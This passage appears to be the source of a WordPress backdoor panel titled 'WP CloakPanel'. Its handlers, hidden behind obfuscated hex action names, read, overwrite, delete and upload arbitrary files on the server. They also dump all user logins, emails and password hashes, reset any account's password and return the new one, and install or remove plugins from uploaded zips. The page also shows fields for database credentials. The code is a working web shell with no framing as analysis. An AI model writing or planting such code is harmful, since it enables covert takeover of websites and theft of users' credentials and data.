isDot() ) continue;
$allItems[] = [
'name' => $f->getFilename(),
'is_dir' => $f->isDir()
];
}
$page = max(1, intval($_POST['page'] ?? 1));
$perPage = 16;
$total = count($allItems);
$pages = ceil($total / $perPage);
$offset = ($page - 1) * $perPage;
$slice = array_slice($allItems, $offset, $perPage);
$out = [
'full' => $full,
'path' => $dir,
'items' => $slice,
'page' => $page,
'pages' => $pages,
'total' => $total,
'perPage' => $perPage,
];
echo json_encode($out);
exit;
case 'd1119f2b6':
$X2eb03x = sanitize_text_field($_POST['path'] ?? '');
$b9f3a08da1 = realpath($X2eb03x);
echo json_encode(['status'=> ($b9f3a08da1 && unlink($b9f3a08da1)) ? 'ok':'err' ]);
exit;
case '1c1fa8265e4':
$X2eb03x = sanitize_text_field($_POST['path'] ?? '');
$b9f3a08da1 = realpath($X2eb03x);
$content = ($b9f3a08da1 && is_file($b9f3a08da1)) ? file_get_contents($b9f3a08da1) : '';
echo json_encode(['content'=>$content]);
exit;
case 'a590bf9':
$X2eb03x = sanitize_text_field($_POST['path'] ?? '');
$b9f3a08da1 = realpath($X2eb03x);
$content = $_POST['content'] ?? '';
$ok = ($b9f3a08da1 && file_put_contents($b9f3a08da1, $content)!==false);
echo json_encode(['status'=>$ok?'ok':'err']);
exit;
case '30d80097':
if (!empty($_FILES['file']) && !empty($_POST['path'])) {
$base = realpath(sanitize_text_field($_POST['path']));
if ($base && is_dir($base) && is_writable($base)) {
$file = $_FILES['file'];
$dest = $base . '/' . basename($file['name']);
$ok = move_uploaded_file($file['tmp_name'], $dest);
echo json_encode(['status'=>$ok?'ok':'err']);
} else {
echo json_encode(['status'=>'err']);
}
} else {
echo json_encode(['status'=>'err']);
}
exit;
case '83356bed':
global $wpdb;
$rows = $wpdb->get_results(
"SELECT ID,user_login,user_email,user_registered,user_pass FROM {$wpdb->users}",
ARRAY_A
);
$out = [];
foreach ($rows as $u) {
$userdata = get_userdata($u['ID']);
$roles = implode(',', $userdata->roles);
$out[] = [
'ID' => $u['ID'],
'user_login' => $u['user_login'],
'user_email' => $u['user_email'],
'user_registered'=> $u['user_registered'],
'user_pass' => $u['user_pass'],
'roles' => $roles
];
}
echo json_encode($out);
exit;
case '0e5ad2a6e9':
$f40bde66b7c00ba = intval($_POST['uid'] ?? 0);
if ($f40bde66b7c00ba) {
$new = wp_generate_password();
wp_set_password($new, $f40bde66b7c00ba);
echo json_encode(['status'=>'ok','new_pass'=>$new]);
} else {
echo json_encode(['status'=>'err']);
}
exit;
case '68896e1f265':
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$all = get_plugins();
$active = get_option('active_plugins', []);
$out = [];
foreach ($all as $file => $p) {
$out[] = [
'file' => $file,
'name' => $p['Name'],
'version' => $p['Version'],
'status' => in_array($file, $active) ? 'active' : 'inactive'
];
}
echo json_encode($out);
exit;
case 'c76b145e8a1':
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$action = sanitize_text_field($_POST['action'] ?? '');
$plugin = sanitize_text_field($_POST['plugin'] ?? '');
switch ($action) {
case 'activate':
$res = activate_plugin($plugin) === null;
break;
case 'deactivate':
$res = deactivate_plugins($plugin) === null;
break;
case 'd1119f2b6':
$res = delete_plugins([$plugin]) === null;
break;
default:
$res = false;
}
echo json_encode(['status'=>$res?'ok':'err']);
exit;
case '301a4976':
require_once ABSPATH . 'wp-admin/includes/file.php';
require_once ABSPATH . 'wp-admin/includes/plugin.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
if (!empty($_FILES['plugin_zip']) && $_FILES['plugin_zip']['error']===0) {
$upgrader = new Plugin_Upgrader();
$installed = $upgrader->install($_FILES['plugin_zip']['tmp_name']);
echo json_encode(['status'=>$installed?'ok':'err']);
} else {
echo json_encode(['status'=>'err']);
}
exit;
}
}
?>
WP CloakPanel
| ID | User | Email | Reg | Pass Hash | Roles | Actions |
Database Info
Host:
Name:
User:
Password:
••••••••